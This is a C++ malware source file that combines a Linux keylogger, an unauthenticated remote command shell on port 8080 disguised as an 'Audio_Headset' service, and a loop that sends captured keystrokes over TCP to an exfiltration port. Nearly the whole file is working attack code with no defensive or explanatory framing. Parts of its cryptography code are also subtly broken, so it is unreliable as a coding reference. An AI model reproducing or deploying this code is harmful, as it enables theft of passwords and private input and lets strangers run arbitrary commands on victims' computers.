EyePhuckBitches.cpp

#include <iostream>
#include <fstream>
#include <string>
#include <thread>
#include <chrono>
#include <vector>
#include <cstring>
#include <sys/socket.h>
#include <unistd.h>
#include <openssl/ssl.h>
#include <openssl/err.h>
#include <openssl/rsa.h>
#include <openssl/pem.h>
#include <openssl/aes.h>
#include <openssl/rand.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/rfcomm.h>
#include <linux/input.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <netinet/in.h>
#define WEBSHELL_PORT 8080
#define AES_KEY_SIZE 32
#define NETWORK_EXFIL_PORT 9999
unsigned char aes_key[AES_KEY_SIZE];
RSA *public_key = nullptr;
RSA *private_key = nullptr;
int exfil_socket = -1;
const char* bluetooth_device_name = "Audio_Headset";
void generate_aes_key() {
    if (!RAND_bytes(aes_key, AES_KEY_SIZE)) {
        std::cerr << "Error generating AES key" << std::endl;
        exit(1);
    }
}
void generate_rsa_keys() {
    BIGNUM *bn = BN_new();
    if (!BN_set_word(bn, RSA_F4)) {
        std::cerr << "Error setting up RSA key generation" << std::endl;
        exit(1);
    }
    private_key = RSA_new();
    if (RSA_generate_key_ex(private_key, 2048, bn, nullptr) != 1) {
        std::cerr << "Error generating RSA keys" << std::endl;
        exit(1);
    }
    public_key = RSAPublicKey_dup(private_key);
    if (public_key == nullptr) {
        std::cerr << "Error duplicating RSA public key" << std::endl;
        exit(1);
    }
    BN_free(bn);
}
void save_rsa_keys() {
    FILE *private_key_file = fopen("private_key.pem", "wb");
    if (!private_key_file) {
        std::cerr << "Error saving private key" << std::endl;
        exit(1);
    }
    PEM_write_RSAPrivateKey(private_key_file, private_key, nullptr, nullptr, 0, nullptr, nullptr);
    fclose(private_key_file);
    FILE *public_key_file = fopen("public_key.pem", "wb");
    if (!public_key_file) {
        std::cerr << "Error saving public key" << std::endl;
        exit(1);
    }
    PEM_write_RSAPublicKey(public_key_file, public_key);
    fclose(public_key_file);
}
void encrypt_data_aes(const std::string& data, std::string& encrypted_data) {
    AES_KEY enc_key;
    AES_set_encrypt_key(aes_key, 256, &enc_key);
    size_t data_len = data.size();
    size_t encrypted_data_len = (data_len / AES_BLOCK_SIZE + 1) * AES_BLOCK_SIZE;
    unsigned char *encrypted_buf = new unsigned char[encrypted_data_len];
    AES_encrypt(reinterpret_cast<const unsigned char*>(data.c_str()), encrypted_buf, &enc_key);
    encrypted_data = std::string(reinterpret_cast<char*>(encrypted_buf), encrypted_data_len);
    delete[] encrypted_buf;
}
void encrypt_data_rsa(const std::string& data, std::string& encrypted_data) {
    int data_len = data.size();
    int rsa_len = RSA_size(public_key);
    unsigned char *encrypted_buf = new unsigned char[rsa_len];
    if (RSA_public_encrypt(data_len, reinterpret_cast<const unsigned char*>(data.c_str()), encrypted_buf, public_key, RSA_PKCS1_OAEP_PADDING) == -1) {
        std::cerr << "Error encrypting data with RSA" << std::endl;
        exit(1);
    }
    encrypted_data = std::string(reinterpret_cast<char*>(encrypted_buf), rsa_len);
    delete[] encrypted_buf;
}
std::string decrypt_data_rsa(const std::string& encrypted_data) {
    int rsa_len = RSA_size(private_key);
    unsigned char *decrypted_buf = new unsigned char[rsa_len];
    if (RSA_private_decrypt(encrypted_data.size(), reinterpret_cast<const unsigned char*>(encrypted_data.c_str()), decrypted_buf, private_key, RSA_PKCS1_OAEP_PADDING) == -1) {
        std::cerr << "Error decrypting data with RSA" << std::endl;
        exit(1);
    }
    std::string decrypted_data(reinterpret_cast<char*>(decrypted_buf));
    delete[] decrypted_buf;
    return decrypted_data;
}
void start_keylogger() {
    const char* device = "/dev/input/event0";
    int fd = open(device, O_RDONLY);
    if (fd == -1) {
        std::cerr << "Error opening keylogger device." << std::endl;
        exit(1);
    }
    struct input_event ev;
    while (true) {
        ssize_t n = read(fd, &ev, sizeof(struct input_event));
        if (n < (ssize_t) sizeof(struct input_event)) {
            std::cerr << "Error reading key event." << std::endl;
            break;
        }
        if (ev.type == EV_KEY && ev.value == 1) {
            std::ofstream keylog_file("keylog.txt", std::ios::app);
            keylog_file << "Key pressed: " << ev.code << std::endl;
            keylog_file.close();
        }
    }
    close(fd);
}
void handle_client(int client_socket) {
    const std::string webshell_banner = "Audio_Headset Webshell. Type 'exit' to quit.\n> ";
    send(client_socket, webshell_banner.c_str(), webshell_banner.size(), 0);
    char buffer[1024];
    std::string command;
    while (true) {
        memset(buffer, 0, sizeof(buffer));
        int bytes_received = recv(client_socket, buffer, sizeof(buffer) - 1, 0);
        if (bytes_received <= 0) {
            break;
        }
        command = std::string(buffer);
        command = command.substr(0, command.find("\r\n"));
        if (command == "exit") {
            break;
        } else {
            FILE* fp;
            char result[1024];
            fp = popen(command.c_str(), "r");
            if (fp == NULL) {
                send(client_socket, "Error executing command.\n", 25, 0);
            } else {
                while (fgets(result, sizeof(result), fp) != NULL) {
                    send(client_socket, result, strlen(result), 0);
                }
                fclose(fp);
            }
        }
    }
    close(client_socket);
}
void start_webshell() {
    int server_fd = socket(AF_INET, SOCK_STREAM, 0);
    if (server_fd == -1) {
        std::cerr << "Error creating socket." << std::endl;
        return;
    }
    sockaddr_in server_addr;
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = INADDR_ANY;
    server_addr.sin_port = htons(WEBSHELL_PORT);
    if (bind(server_fd, (struct sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
        std::cerr << "Error binding socket." << std::endl;
        return;
    }
    if (listen(server_fd, 5) == -1) {
        std::cerr << "Error listening on socket." << std::endl;
        return;
    }
    while (true) {
        int client_socket = accept(server_fd, nullptr, nullptr);
        if (client_socket == -1) {
            std::cerr << "Error accepting client." << std::endl;
            continue;
        }
        std::thread client_thread(handle_client, client_socket);
        client_thread.detach();
    }
    close(server_fd);
}
void start_network_exfiltration() {
    exfil_socket = socket(AF_INET, SOCK_STREAM, 0);
    if (exfil_socket == -1) {
        std::cerr << "Error creating exfiltration socket." << std::endl;
        return;
    }
    sockaddr_in server_addr;
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    server_addr.sin_port = htons(NETWORK_EXFIL_PORT);
    if (connect(exfil_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)) == -1) {
        std::cerr << "Error connecting to exfiltration server." << std::endl;
        return;
    }
    while (true) {
        std::ifstream keylog_file("keylog.txt");
        if (!keylog_file.is_open()) {
            std::cerr << "Error opening keylog file." << std::endl;
            break;
        }
        std::string line;
        while (std::getline(keylog_file, line)) {
            send(exfil_socket, line.c_str(), line.size(), 0);
        }
        keylog_file.close();
        std::this_thread::sleep_for(std::chrono::seconds(5));
    }
    close(exfil_socket);
}
int main() {
    generate_aes_key();
    generate_rsa_keys();
    save_rsa_keys();

    std::thread keylogger_thread(start_keylogger);
    std::thread webshell_thread(start_webshell);
    std::thread exfiltration_thread(start_network_exfiltration);
    keylogger_thread.join();
    webshell_thread.join();
    exfiltration_thread.join();
    return 0;
}